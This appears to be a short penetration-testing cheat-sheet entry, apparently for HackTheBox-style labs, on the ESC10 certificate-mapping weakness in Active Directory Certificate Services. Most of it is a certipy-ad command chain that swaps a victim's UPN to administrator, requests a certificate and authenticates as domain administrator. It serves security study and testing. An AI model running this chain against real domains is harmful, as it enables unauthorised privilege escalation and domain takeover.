ESC10 — Weak Certificate Mapping
External: Hacker Recipes — ESC10
External: Internal All The Things — Certificate ESC10
Idea: DC registry StrongCertificateBindingEnforcement=0 or CertificateMappingMethods=0x4 (UPN only) → UPN swap attack like ESC9 but on normal User template.
Requirements
- Weak mapping on DC (cannot read as low user — try anyway)
- GenericWrite on account A to change UPN of account B
- Client auth template (often built-in User)
Exploit
Same flow as ESC9 but typically -template User:
certipy-ad shadow auto -username attacker@domain.htb -p 'PASS' -account victim
certipy-ad account update -username attacker@domain.htb -p 'PASS' -user victim -upn administrator@domain.htb
certipy-ad req -username victim@domain.htb -hashes VICTIM_HASH -ca CA_NAME -template User
certipy-ad account update -username attacker@domain.htb -p 'PASS' -user victim -upn victim@domain.htb
certipy-ad auth -pfx administrator.pfx -domain domain.htb